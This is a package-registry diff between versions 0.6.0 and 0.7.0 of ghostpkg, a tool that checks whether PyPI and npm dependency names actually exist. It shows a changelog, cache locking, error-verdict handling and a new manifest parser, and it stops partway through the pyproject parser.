ghostpkg 0.6.0__tar.gz → 0.7.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- ghostpkg-0.7.0/2.0 +1 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/CHANGELOG.md +62 -1
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/PKG-INFO +1 -1
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/__init__.py +1 -1
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/assess.py +8 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/cache.py +39 -10
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/cli.py +43 -15
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/inspection.py +14 -1
- ghostpkg-0.7.0/ghostpkg/manifests.py +294 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/registries.py +27 -7
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/pyproject.toml +1 -1
- ghostpkg-0.7.0/tests/test_regressions.py +244 -0
- ghostpkg-0.6.0/ghostpkg/manifests.py +0 -193
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/.github/ISSUE_TEMPLATE/bug.yml +0 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/.github/ISSUE_TEMPLATE/config.yml +0 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/.github/ISSUE_TEMPLATE/false-positive.yml +0 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/.github/ISSUE_TEMPLATE/missed-package.yml +0 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/.github/workflows/ci.yml +0 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/.gitignore +0 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/CONTRIBUTING.md +0 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/LICENSE +0 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/README.en.md +0 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/README.md +0 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/SECURITY.md +0 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/assets/banner.html +0 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/assets/banner.png +0 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/assets/demo.gif +0 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/assets/make_demo.py +0 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/__main__.py +0 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/data.py +0 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/tests/test_assess.py +0 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/tests/test_cache.py +0 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/tests/test_inspection.py +0 -0
- {ghostpkg-0.6.0 → ghostpkg-0.7.0}/tests/test_manifests.py +0 -0
ghostpkg-0.7.0/2.0
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
[REAL PIP] install requests flask
|
|
@@ -6,6 +6,66 @@ this project uses [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
|
|
6
6
|
|
|
7
7
|
## [Unreleased]
|
|
8
8
|
|
|
9
|
+
## [0.7.0] - 2026-09-01
|
|
10
|
+
|
|
11
|
+
A correctness release. Several of these were **silent** failures -- the tool
|
|
12
|
+
reported success having never performed the check, which for a security tool is
|
|
13
|
+
worse than crashing. Found by a systematic audit rather than by users.
|
|
14
|
+
|
|
15
|
+
### Fixed -- silent misses
|
|
16
|
+
- **Every package whose name begins with `http` was dropped from
|
|
17
|
+
`requirements.txt`.** A filter meant to skip bare URLs matched names too, so
|
|
18
|
+
`httpx`, `httpcore`, `httplib2` and friends were never checked and the tool
|
|
19
|
+
still printed "all packages look fine". `httpx` is a top-100 PyPI project.
|
|
20
|
+
- **`-r` and `-c` includes were ignored**, so a project that splits its
|
|
21
|
+
requirements across files was only half checked. Includes are now followed,
|
|
22
|
+
with cycle detection and a depth limit.
|
|
23
|
+
|
|
24
|
+
### Fixed -- false blocks
|
|
25
|
+
- **Direct references and private indexes.** `internal-lib @ git+https://...`
|
|
26
|
+
was read as the plain name `internal-lib`, which is absent from public PyPI,
|
|
27
|
+
so every internal package in a company using its own index was **blocked**.
|
|
28
|
+
Direct references, `--index-url`, editable installs, local paths and hashes
|
|
29
|
+
are now recognised and skipped.
|
|
30
|
+
- **Any `.txt` file was parsed as requirements.** `README.txt` became the
|
|
31
|
+
package list `['Install', 'Run', 'numpy']` -- two confident blocks on prose.
|
|
32
|
+
Only `requirements*.txt`, `constraints*.txt` and `*.in` are accepted now, and
|
|
33
|
+
anything else is refused by name.
|
|
34
|
+
- **`--deep` judged packages by install scripts they merely shipped.** Matching
|
|
35
|
+
`setup.py` by basename meant a package vendoring a dependency or including
|
|
36
|
+
packaging test fixtures was blocked on somebody else's code. Only the
|
|
37
|
+
archive's own top-level install script is read.
|
|
38
|
+
|
|
39
|
+
### Fixed -- wrong exit codes and lost results
|
|
40
|
+
- **A connection that failed mid-response escaped as a traceback and exited
|
|
41
|
+
`1`** -- the code meaning "a package does not exist". `urlopen` only wraps
|
|
42
|
+
failures that happen while connecting, so a stalled proxy or a reset
|
|
43
|
+
connection read as a confirmed detection. All lookup failures are now
|
|
44
|
+
`RegistryError`.
|
|
45
|
+
- **One failed lookup discarded the entire scan**, including already-confirmed
|
|
46
|
+
blocks, and skipped the cache write so the inevitable retry re-issued every
|
|
47
|
+
request. Failures are now per-name, with a new `ERROR` verdict, and exit
|
|
48
|
+
code `2` -- an unchecked name is never a pass.
|
|
49
|
+
- **`ghostpkg scan <directory>`** crashed with a traceback; it now explains
|
|
50
|
+
itself and exits `2`.
|
|
51
|
+
|
|
52
|
+
### Fixed -- wrong answers
|
|
53
|
+
- **npm cache keys collapsed case-distinct packages.** `JSONStream` and
|
|
54
|
+
`jsonstream` are two different real packages; lowercasing both into one key
|
|
55
|
+
served one package's facts for the other, including a wrong `exists`. Keys
|
|
56
|
+
are now normalised per ecosystem -- PEP 503 for PyPI, exact for npm.
|
|
57
|
+
|
|
58
|
+
### Changed
|
|
59
|
+
- **npm lookups now request gzip.** `@types/node` was 10.6 MB per lookup and is
|
|
60
|
+
now 1.35 MB; `react` went from 6.6 MB to 1.30 MB. Responses are also size-capped.
|
|
61
|
+
- **Repeated names are looked up once.** Manifests repeat names, and following
|
|
62
|
+
includes makes that more likely.
|
|
63
|
+
- `pyproject.toml` now reads PEP 735 `[dependency-groups]`, and Poetry group
|
|
64
|
+
dependencies are found on Python 3.9/3.10 as well as 3.11+.
|
|
65
|
+
- `package.json` now reads `peerDependencies`.
|
|
66
|
+
- The cache takes a lock around its counters and entry map, and its docstring
|
|
67
|
+
no longer claims threads only read from it -- they do not.
|
|
68
|
+
|
|
9
69
|
## [0.6.0] - 2026-09-01
|
|
10
70
|
|
|
11
71
|
### Fixed
|
|
@@ -184,7 +244,8 @@ First release.
|
|
|
184
244
|
- No corpus of hallucinated package names is shipped, following the decision of
|
|
185
245
|
the USENIX'25 authors not to publish theirs.
|
|
186
246
|
|
|
187
|
-
[Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.
|
|
247
|
+
[Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.7.0...HEAD
|
|
248
|
+
[0.7.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.7.0
|
|
188
249
|
[0.6.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.6.0
|
|
189
250
|
[0.5.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.5.0
|
|
190
251
|
[0.4.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.4.0
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.5
|
|
2
2
|
Name: ghostpkg
|
|
3
|
-
Version: 0.
|
|
3
|
+
Version: 0.7.0
|
|
4
4
|
Summary: Catch package names that do not exist before you install them
|
|
5
5
|
Project-URL: Homepage, https://github.com/m1rwana12/ghostpkg
|
|
6
6
|
Project-URL: Issues, https://github.com/m1rwana12/ghostpkg/issues
|
|
@@ -29,6 +29,10 @@ class Verdict(str, Enum):
|
|
|
29
29
|
OK = "OK"
|
|
30
30
|
WARN = "WARN"
|
|
31
31
|
BLOCK = "BLOCK"
|
|
32
|
+
#: The registry could not be reached for this name. Never a pass: a
|
|
33
|
+
#: security check that silently succeeds when it could not run is worse
|
|
34
|
+
#: than no check at all.
|
|
35
|
+
ERROR = "ERROR"
|
|
32
36
|
|
|
33
37
|
|
|
34
38
|
@dataclass
|
|
@@ -43,6 +47,10 @@ class Finding:
|
|
|
43
47
|
def is_blocked(self) -> bool:
|
|
44
48
|
return self.verdict is Verdict.BLOCK
|
|
45
49
|
|
|
50
|
+
@property
|
|
51
|
+
def is_error(self) -> bool:
|
|
52
|
+
return self.verdict is Verdict.ERROR
|
|
53
|
+
|
|
46
54
|
|
|
47
55
|
def edit_distance(left: str, right: str, cutoff: int = 3) -> int:
|
|
48
56
|
"""Damerau-Levenshtein distance, abandoning early once it exceeds `cutoff`.
|
|
@@ -17,8 +17,10 @@ from __future__ import annotations
|
|
|
17
17
|
|
|
18
18
|
import json
|
|
19
19
|
import os
|
|
20
|
+
import re
|
|
20
21
|
import sys
|
|
21
22
|
import tempfile
|
|
23
|
+
import threading
|
|
22
24
|
import time
|
|
23
25
|
from dataclasses import asdict
|
|
24
26
|
from pathlib import Path
|
|
@@ -61,7 +63,15 @@ def ttl_for(facts: PackageFacts) -> int:
|
|
|
61
63
|
|
|
62
64
|
|
|
63
65
|
class Cache:
|
|
64
|
-
"""
|
|
66
|
+
"""Loaded once, written once, read and updated from worker threads between.
|
|
67
|
+
|
|
68
|
+
`put` is called from the scan's thread pool, so this is not lock-free by
|
|
69
|
+
virtue of nobody mutating it -- an earlier version of this docstring
|
|
70
|
+
claimed that and was wrong. It is safe because `dict.__setitem__` is
|
|
71
|
+
atomic under the GIL and `save`/`_prune` only run after the pool has shut
|
|
72
|
+
down. The lock exists so that stops being load-bearing on free-threaded
|
|
73
|
+
builds, where that guarantee does not hold.
|
|
74
|
+
"""
|
|
65
75
|
|
|
66
76
|
def __init__(self, directory: Path | None = None, enabled: bool = True) -> None:
|
|
67
77
|
self.enabled = enabled
|
|
@@ -70,6 +80,7 @@ class Cache:
|
|
|
70
80
|
self._dirty = False
|
|
71
81
|
self.hits = 0
|
|
72
82
|
self.misses = 0
|
|
83
|
+
self._lock = threading.Lock()
|
|
73
84
|
if self.enabled:
|
|
74
85
|
self._load()
|
|
75
86
|
|
|
@@ -90,44 +101,62 @@ class Cache:
|
|
|
90
101
|
|
|
91
102
|
@staticmethod
|
|
92
103
|
def _key(ecosystem: str, name: str) -> str:
|
|
93
|
-
|
|
104
|
+
"""Normalise per ecosystem, because they do not agree.
|
|
105
|
+
|
|
106
|
+
PyPI names are case-insensitive and treat `-`, `_` and `.` as the same
|
|
107
|
+
separator (PEP 503), so `zope.interface` and `Zope_Interface` are one
|
|
108
|
+
package. npm names are case-sensitive, and `JSONStream` and `jsonstream`
|
|
109
|
+
are two different real packages -- lowercasing both into one key served
|
|
110
|
+
one package's facts for the other, including a wrong `exists`.
|
|
111
|
+
"""
|
|
112
|
+
if ecosystem == "pypi":
|
|
113
|
+
return f"pypi:{re.sub(r'[-_.]+', '-', name).lower()}"
|
|
114
|
+
return f"{ecosystem}:{name}"
|
|
94
115
|
|
|
95
116
|
def get(self, ecosystem: str, name: str) -> PackageFacts | None:
|
|
96
117
|
if not self.enabled:
|
|
97
118
|
return None
|
|
98
|
-
|
|
119
|
+
with self._lock:
|
|
120
|
+
entry = self._entries.get(self._key(ecosystem, name))
|
|
99
121
|
if not isinstance(entry, dict):
|
|
100
|
-
self.
|
|
122
|
+
self._miss()
|
|
101
123
|
return None
|
|
102
124
|
stored_at = entry.get("at")
|
|
103
125
|
ttl = entry.get("ttl")
|
|
104
126
|
facts = entry.get("facts")
|
|
105
127
|
if not isinstance(stored_at, (int, float)) or not isinstance(ttl, (int, float)):
|
|
106
|
-
self.
|
|
128
|
+
self._miss()
|
|
107
129
|
return None
|
|
108
130
|
if time.time() - stored_at > ttl:
|
|
109
|
-
self.
|
|
131
|
+
self._miss()
|
|
110
132
|
return None
|
|
111
133
|
try:
|
|
112
134
|
revived = PackageFacts(**facts)
|
|
113
135
|
except (TypeError, ValueError):
|
|
114
|
-
self.
|
|
136
|
+
self._miss()
|
|
115
137
|
return None
|
|
116
|
-
self.
|
|
138
|
+
with self._lock:
|
|
139
|
+
self.hits += 1
|
|
117
140
|
# keep the caller's spelling of the name rather than the cached one
|
|
118
141
|
if revived.name != name:
|
|
119
142
|
revived = PackageFacts(**{**asdict(revived), "name": name})
|
|
120
143
|
return revived
|
|
121
144
|
|
|
145
|
+
def _miss(self) -> None:
|
|
146
|
+
with self._lock:
|
|
147
|
+
self.misses += 1
|
|
148
|
+
|
|
122
149
|
def put(self, facts: PackageFacts) -> None:
|
|
123
150
|
if not self.enabled:
|
|
124
151
|
return
|
|
125
|
-
|
|
152
|
+
entry = {
|
|
126
153
|
"at": time.time(),
|
|
127
154
|
"ttl": ttl_for(facts),
|
|
128
155
|
"facts": asdict(facts),
|
|
129
156
|
}
|
|
130
|
-
self.
|
|
157
|
+
with self._lock:
|
|
158
|
+
self._entries[self._key(facts.ecosystem, facts.name)] = entry
|
|
159
|
+
self._dirty = True
|
|
131
160
|
|
|
132
161
|
def _prune(self) -> None:
|
|
133
162
|
now = time.time()
|
|
@@ -51,6 +51,7 @@ class Palette:
|
|
|
51
51
|
|
|
52
52
|
MARKS = {
|
|
53
53
|
Verdict.BLOCK: ("BLOCKED", "red"),
|
|
54
|
+
Verdict.ERROR: ("ERROR", "red"),
|
|
54
55
|
Verdict.WARN: ("WARNING", "yellow"),
|
|
55
56
|
Verdict.OK: ("ok", "green"),
|
|
56
57
|
}
|
|
@@ -80,14 +81,18 @@ def render(findings: list[Finding], palette: Palette, quiet: bool) -> None:
|
|
|
80
81
|
def summarise(findings: list[Finding], palette: Palette) -> None:
|
|
81
82
|
blocked = [f for f in findings if f.verdict is Verdict.BLOCK]
|
|
82
83
|
warned = [f for f in findings if f.verdict is Verdict.WARN]
|
|
84
|
+
errored = [f for f in findings if f.verdict is Verdict.ERROR]
|
|
83
85
|
|
|
84
86
|
print()
|
|
85
87
|
if blocked:
|
|
86
88
|
names = ", ".join(f.name for f in blocked)
|
|
87
89
|
print(palette.red(f" {len(blocked)} blocked: {names}"))
|
|
90
|
+
if errored:
|
|
91
|
+
names = ", ".join(f.name for f in errored)
|
|
92
|
+
print(palette.red(f" {len(errored)} could not be checked: {names}"))
|
|
88
93
|
if warned:
|
|
89
94
|
print(palette.yellow(f" {len(warned)} to review by hand"))
|
|
90
|
-
if not blocked and not warned:
|
|
95
|
+
if not blocked and not warned and not errored:
|
|
91
96
|
print(palette.green(f" all {len(findings)} packages look fine"))
|
|
92
97
|
|
|
93
98
|
|
|
@@ -99,11 +104,24 @@ def evaluate(
|
|
|
99
104
|
deep: bool = False,
|
|
100
105
|
) -> list[Finding]:
|
|
101
106
|
def one(name: str) -> Finding:
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
+
# A failure on one name must not discard the whole scan. It used to:
|
|
108
|
+
# pool.map re-raised the first exception while iterating, throwing away
|
|
109
|
+
# every confirmed BLOCK alongside it and skipping the cache write, so
|
|
110
|
+
# the inevitable retry re-issued every lookup and made a rate-limit
|
|
111
|
+
# response self-amplifying.
|
|
112
|
+
try:
|
|
113
|
+
facts = cache.get(ecosystem, name) if cache else None
|
|
114
|
+
if facts is None:
|
|
115
|
+
facts = fetch(name, ecosystem)
|
|
116
|
+
if cache:
|
|
117
|
+
cache.put(facts)
|
|
118
|
+
except RegistryError as exc:
|
|
119
|
+
return Finding(
|
|
120
|
+
name=name,
|
|
121
|
+
ecosystem=ecosystem,
|
|
122
|
+
verdict=Verdict.ERROR,
|
|
123
|
+
reasons=[f"could not check: {exc}"],
|
|
124
|
+
)
|
|
107
125
|
|
|
108
126
|
signals = None
|
|
109
127
|
# Only young packages are worth the download: a registered slopsquat is
|
|
@@ -124,11 +142,14 @@ def evaluate(
|
|
|
124
142
|
|
|
125
143
|
return assess(facts, strict=strict, signals=signals)
|
|
126
144
|
|
|
145
|
+
# Look each distinct name up once. A manifest can repeat a name, and
|
|
146
|
+
# following -r includes makes that more likely.
|
|
147
|
+
unique = list(dict.fromkeys(names))
|
|
127
148
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
|
128
|
-
|
|
149
|
+
results = dict(zip(unique, pool.map(one, unique)))
|
|
129
150
|
if cache:
|
|
130
151
|
cache.save()
|
|
131
|
-
return
|
|
152
|
+
return [results[name] for name in names]
|
|
132
153
|
|
|
133
154
|
|
|
134
155
|
def build_parser() -> argparse.ArgumentParser:
|
|
@@ -186,12 +207,18 @@ def main(argv: list[str] | None = None) -> int:
|
|
|
186
207
|
if not args.path.exists():
|
|
187
208
|
print(f"ghostpkg: no such file: {args.path}", file=sys.stderr)
|
|
188
209
|
return EXIT_ERROR
|
|
210
|
+
if args.path.is_dir():
|
|
211
|
+
print(
|
|
212
|
+
f"ghostpkg: {args.path} is a directory; pass a manifest file",
|
|
213
|
+
file=sys.stderr,
|
|
214
|
+
)
|
|
215
|
+
return EXIT_ERROR
|
|
189
216
|
try:
|
|
190
217
|
names, ecosystem = load_manifest(args.path)
|
|
191
218
|
except UnsupportedManifest as exc:
|
|
192
219
|
print(f"ghostpkg: {exc}", file=sys.stderr)
|
|
193
220
|
return EXIT_ERROR
|
|
194
|
-
except (json.JSONDecodeError, UnicodeDecodeError, ValueError) as exc:
|
|
221
|
+
except (json.JSONDecodeError, UnicodeDecodeError, ValueError, OSError) as exc:
|
|
195
222
|
print(f"ghostpkg: could not parse {args.path}: {exc}", file=sys.stderr)
|
|
196
223
|
return EXIT_ERROR
|
|
197
224
|
if not names:
|
|
@@ -201,11 +228,7 @@ def main(argv: list[str] | None = None) -> int:
|
|
|
201
228
|
names, ecosystem = args.names, args.ecosystem
|
|
202
229
|
|
|
203
230
|
cache = Cache(enabled=not args.no_cache)
|
|
204
|
-
|
|
205
|
-
findings = evaluate(names, ecosystem, args.strict, cache, args.deep)
|
|
206
|
-
except RegistryError as exc:
|
|
207
|
-
print(f"ghostpkg: {exc}", file=sys.stderr)
|
|
208
|
-
return EXIT_ERROR
|
|
231
|
+
findings = evaluate(names, ecosystem, args.strict, cache, args.deep)
|
|
209
232
|
|
|
210
233
|
if args.json:
|
|
211
234
|
print(
|
|
@@ -227,7 +250,12 @@ def main(argv: list[str] | None = None) -> int:
|
|
|
227
250
|
render(findings, palette, args.quiet)
|
|
228
251
|
summarise(findings, palette)
|
|
229
252
|
|
|
230
|
-
|
|
253
|
+
if any(f.is_blocked for f in findings):
|
|
254
|
+
return EXIT_BLOCKED
|
|
255
|
+
# An unchecked name is not a pass.
|
|
256
|
+
if any(f.is_error for f in findings):
|
|
257
|
+
return EXIT_ERROR
|
|
258
|
+
return EXIT_OK
|
|
231
259
|
|
|
232
260
|
|
|
233
261
|
if __name__ == "__main__":
|
|
@@ -146,7 +146,20 @@ def _read_member(handle, member, size: int) -> str | None:
|
|
|
146
146
|
|
|
147
147
|
|
|
148
148
|
def _interesting(path: str, ecosystem: str) -> bool:
|
|
149
|
-
|
|
149
|
+
"""Only the archive's own install script, never a nested one.
|
|
150
|
+
|
|
151
|
+
Matching on the basename alone meant a package that ships packaging test
|
|
152
|
+
fixtures or vendors a dependency was judged on somebody else's
|
|
153
|
+
`setup.py` -- and since install signals block a young package, that was
|
|
154
|
+
the one false-positive path in the blocking logic.
|
|
155
|
+
|
|
156
|
+
Both ecosystems put the real one exactly one directory down:
|
|
157
|
+
`<name>-<version>/setup.py` for an sdist, `package/package.json` for npm.
|
|
158
|
+
"""
|
|
159
|
+
parts = path.strip("/").split("/")
|
|
160
|
+
if len(parts) != 2:
|
|
161
|
+
return False
|
|
162
|
+
name = parts[1]
|
|
150
163
|
if ecosystem == "npm":
|
|
151
164
|
return name == "package.json"
|
|
152
165
|
return name in PY_INSTALL_FILES
|
|
@@ -0,0 +1,294 @@
|
|
|
1
|
+
"""Manifest parsing.
|
|
2
|
+
|
|
3
|
+
Each format is recognised explicitly. Guessing is what made an earlier version
|
|
4
|
+
read `pyproject.toml` with the requirements.txt parser and report TOML keys as
|
|
5
|
+
package names -- `build-backend` came back "does not exist", `version` came back
|
|
6
|
+
"ok" because a package of that name exists. A security tool that confidently
|
|
7
|
+
reports nonsense is worse than one that refuses to run.
|
|
8
|
+
|
|
9
|
+
Two later bugs came from the same root cause, filtering by prefix instead of by
|
|
10
|
+
structure:
|
|
11
|
+
|
|
12
|
+
* Skipping lines that start with `http` was meant to drop bare URLs. It also
|
|
13
|
+
dropped `httpx`, `httpcore` and `httplib2` -- silently, so the tool reported
|
|
14
|
+
"all packages look fine" having never checked them.
|
|
15
|
+
* Treating every `.txt` file as a requirements file turned `README.txt` into
|
|
16
|
+
the package list `['Install', 'Run', 'numpy']`, two of which do not exist.
|
|
17
|
+
"""
|
|
18
|
+
|
|
19
|
+
from __future__ import annotations
|
|
20
|
+
|
|
21
|
+
import json
|
|
22
|
+
import re
|
|
23
|
+
from pathlib import Path
|
|
24
|
+
|
|
25
|
+
# PEP 508 name: letter/digit at each end, dots/hyphens/underscores inside.
|
|
26
|
+
NAME = re.compile(r"^([A-Za-z0-9][A-Za-z0-9._-]*)")
|
|
27
|
+
|
|
28
|
+
# `name @ https://...` is a direct reference: the source is stated explicitly
|
|
29
|
+
# and is not the public registry, so there is nothing for us to check.
|
|
30
|
+
DIRECT_REFERENCE = re.compile(r"^\s*[A-Za-z0-9][A-Za-z0-9._-]*\s*(\[[^\]]*\])?\s*@\s")
|
|
31
|
+
|
|
32
|
+
REQUIREMENTS_NAMES = ("requirements", "constraints", "dev-requirements", "test-requirements")
|
|
33
|
+
|
|
34
|
+
SUPPORTED = "requirements*.txt, *.in, pyproject.toml, package.json"
|
|
35
|
+
|
|
36
|
+
MAX_INCLUDE_DEPTH = 10
|
|
37
|
+
|
|
38
|
+
|
|
39
|
+
class UnsupportedManifest(ValueError):
|
|
40
|
+
"""The file is not a manifest ghostpkg knows how to read."""
|
|
41
|
+
|
|
42
|
+
|
|
43
|
+
def _is_url(text: str) -> bool:
|
|
44
|
+
return "://" in text
|
|
45
|
+
|
|
46
|
+
|
|
47
|
+
def parse_requirements(
|
|
48
|
+
text: str,
|
|
49
|
+
*,
|
|
50
|
+
base: Path | None = None,
|
|
51
|
+
_seen: set[Path] | None = None,
|
|
52
|
+
_depth: int = 0,
|
|
53
|
+
) -> list[str]:
|
|
54
|
+
"""Package names from a requirements file.
|
|
55
|
+
|
|
56
|
+
Follows `-r` / `--requirement` includes when `base` is given, because a
|
|
57
|
+
requirements file that pulls in `base.txt` was otherwise only half checked.
|
|
58
|
+
"""
|
|
59
|
+
seen = _seen if _seen is not None else set()
|
|
60
|
+
names: list[str] = []
|
|
61
|
+
|
|
62
|
+
for raw in text.splitlines():
|
|
63
|
+
line = raw.strip()
|
|
64
|
+
if not line or line.startswith("#"):
|
|
65
|
+
continue
|
|
66
|
+
|
|
67
|
+
# Strip an inline comment, but only when it is preceded by whitespace --
|
|
68
|
+
# a `#` can legitimately appear inside a URL fragment.
|
|
69
|
+
if " #" in line:
|
|
70
|
+
line = line.split(" #", 1)[0].strip()
|
|
71
|
+
if not line:
|
|
72
|
+
continue
|
|
73
|
+
|
|
74
|
+
if line.startswith("-"):
|
|
75
|
+
include = _include_target(line)
|
|
76
|
+
if include and base is not None and _depth < MAX_INCLUDE_DEPTH:
|
|
77
|
+
names.extend(_read_include(include, base, seen, _depth))
|
|
78
|
+
continue
|
|
79
|
+
|
|
80
|
+
# A bare URL or local path, not a name we can look up.
|
|
81
|
+
if _is_url(line) or line.startswith((".", "/", "~")):
|
|
82
|
+
continue
|
|
83
|
+
# `name @ url` states its own source; the registry has no say.
|
|
84
|
+
if DIRECT_REFERENCE.match(line):
|
|
85
|
+
continue
|
|
86
|
+
|
|
87
|
+
match = NAME.match(line)
|
|
88
|
+
if match:
|
|
89
|
+
names.append(match.group(1))
|
|
90
|
+
|
|
91
|
+
return names
|
|
92
|
+
|
|
93
|
+
|
|
94
|
+
def _include_target(line: str) -> str | None:
|
|
95
|
+
"""The path from a `-r file` / `--requirement=file` / `-c file` line."""
|
|
96
|
+
for flag in ("--requirement", "--constraint", "-r", "-c"):
|
|
97
|
+
if line == flag or line.startswith(flag + "="):
|
|
98
|
+
return line[len(flag) + 1 :].strip() or None
|
|
99
|
+
if line.startswith(flag + " "):
|
|
100
|
+
return line[len(flag) :].strip() or None
|
|
101
|
+
return None
|
|
102
|
+
|
|
103
|
+
|
|
104
|
+
def _read_include(target: str, base: Path, seen: set[Path], depth: int) -> list[str]:
|
|
105
|
+
if _is_url(target):
|
|
106
|
+
return []
|
|
107
|
+
try:
|
|
108
|
+
path = (base / target).resolve()
|
|
109
|
+
except (OSError, ValueError):
|
|
110
|
+
return []
|
|
111
|
+
if path in seen or not path.is_file():
|
|
112
|
+
return []
|
|
113
|
+
seen.add(path)
|
|
114
|
+
try:
|
|
115
|
+
text = path.read_text(encoding="utf-8")
|
|
116
|
+
except (OSError, UnicodeDecodeError):
|
|
117
|
+
return []
|
|
118
|
+
return parse_requirements(text, base=path.parent, _seen=seen, _depth=depth + 1)
|
|
119
|
+
|
|
120
|
+
|
|
121
|
+
def parse_package_json(text: str) -> list[str]:
|
|
122
|
+
data = json.loads(text)
|
|
123
|
+
if not isinstance(data, dict):
|
|
124
|
+
raise ValueError("package.json does not contain an object")
|
|
125
|
+
names: list[str] = []
|
|
126
|
+
for key in ("dependencies", "devDependencies", "optionalDependencies", "peerDependencies"):
|
|
127
|
+
section = data.get(key)
|
|
128
|
+
if isinstance(section, dict):
|
|
129
|
+
names.extend(str(name) for name in section)
|
|
130
|
+
seen: set[str] = set()
|
|
131
|
+
return [n for n in names if not (n in seen or seen.add(n))]
|
|
132
|
+
|
|
133
|
+
|
|
134
|
+
def _requirement_name(spec: str) -> str | None:
|
|
135
|
+
spec = spec.strip()
|
|
136
|
+
if not spec or spec.startswith(("#", "-")):
|
|
137
|
+
return None
|
|
138
|
+
if _is_url(spec) or DIRECT_REFERENCE.match(spec):
|
|
139
|
+
return None
|
|
140
|
+
match = NAME.match(spec)
|
|
141
|
+
return match.group(1) if match else None
|
|
142
|
+
|
|
143
|
+
|
|
144
|
+
def _toml_arrays(text: str, table: str, key: str) -> list[str]:
|
|
145
|
+
"""Read a string array out of one TOML table without a TOML parser.
|
|
146
|
+
|
|
147
|
+
Only the shapes dependency declarations use are handled. This exists
|
|
148
|
+
because tomllib is 3.11+ and ghostpkg supports 3.9 with no dependencies.
|
|
149
|
+
"""
|
|
150
|
+
current = ""
|
|
151
|
+
collected: list[str] = []
|
|
152
|
+
depth = 0
|
|
153
|
+
buffer = ""
|
|
154
|
+
|
|
155
|
+
for raw in text.splitlines():
|
|
156
|
+
line = raw.strip()
|
|
157
|
+
if depth == 0:
|
|
158
|
+
if line.startswith("[") and line.endswith("]"):
|
|
159
|
+
current = line[1:-1].strip().strip('"')
|
|
160
|
+
continue
|
|
161
|
+
if current != table:
|
|
162
|
+
continue
|
|
163
|
+
stripped = line.split("#", 1)[0].strip()
|
|
164
|
+
if not stripped.startswith(key):
|
|
165
|
+
continue
|
|
166
|
+
after = stripped[len(key) :].lstrip()
|
|
167
|
+
if not after.startswith("="):
|
|
168
|
+
continue
|
|
169
|
+
buffer = after[1:].strip()
|
|
170
|
+
if not buffer.startswith("["):
|
|
171
|
+
continue
|
|
172
|
+
depth = 1
|
|
173
|
+
buffer = buffer[1:]
|
|
174
|
+
else:
|
|
175
|
+
buffer += " " + line.split("#", 1)[0].strip()
|
|
176
|
+
|
|
177
|
+
if depth and "]" in buffer:
|
|
178
|
+
buffer = buffer[: buffer.index("]")]
|
|
179
|
+
depth = 0
|
|
180
|
+
collected.extend(re.findall(r'["\']([^"\']+)["\']', buffer))
|
|
181
|
+
buffer = ""
|
|
182
|
+
return collected
|
|
183
|
+
|
|
184
|
+
|
|
185
|
+
def _toml_table_keys(text: str, table: str) -> list[str]:
|
|
186
|
+
keys: list[str] = []
|
|
187
|
+
current = ""
|
|
188
|
+
for raw in text.splitlines():
|
|
189
|
+
line = raw.split("#", 1)[0].strip()
|
|
190
|
+
if line.startswith("[") and line.endswith("]"):
|
|
191
|
+
current = line[1:-1].strip().strip('"')
|
|
192
|
+
continue
|
|
193
|
+
if current != table or "=" not in line:
|
|
194
|
+
continue
|
|
195
|
+
name = line.split("=", 1)[0].strip().strip('"').strip("'")
|
|
196
|
+
if name:
|
|
197
|
+
keys.append(name)
|
|
198
|
+
return keys
|
|
199
|
+
|
|
200
|
+
|
|
201
|
+
def _poetry_names(section: dict) -> list[str]:
|
|
202
|
+
# `python` is an interpreter constraint, not a package.
|
|
203
|
+
return [name for name in section if name.lower() != "python"]
|
|
204
|
+
|
|
205
|
+
|
|
206
|
+
def parse_pyproject(text: str) -> list[str]:
|
|
207
|
+
"""Dependencies from PEP 621, PEP 735 and Poetry."""
|
|
208
|
+
try:
|
|
209
|
+
import tomllib # noqa: PLC0415
|
|
210
|
+
except ImportError:
|
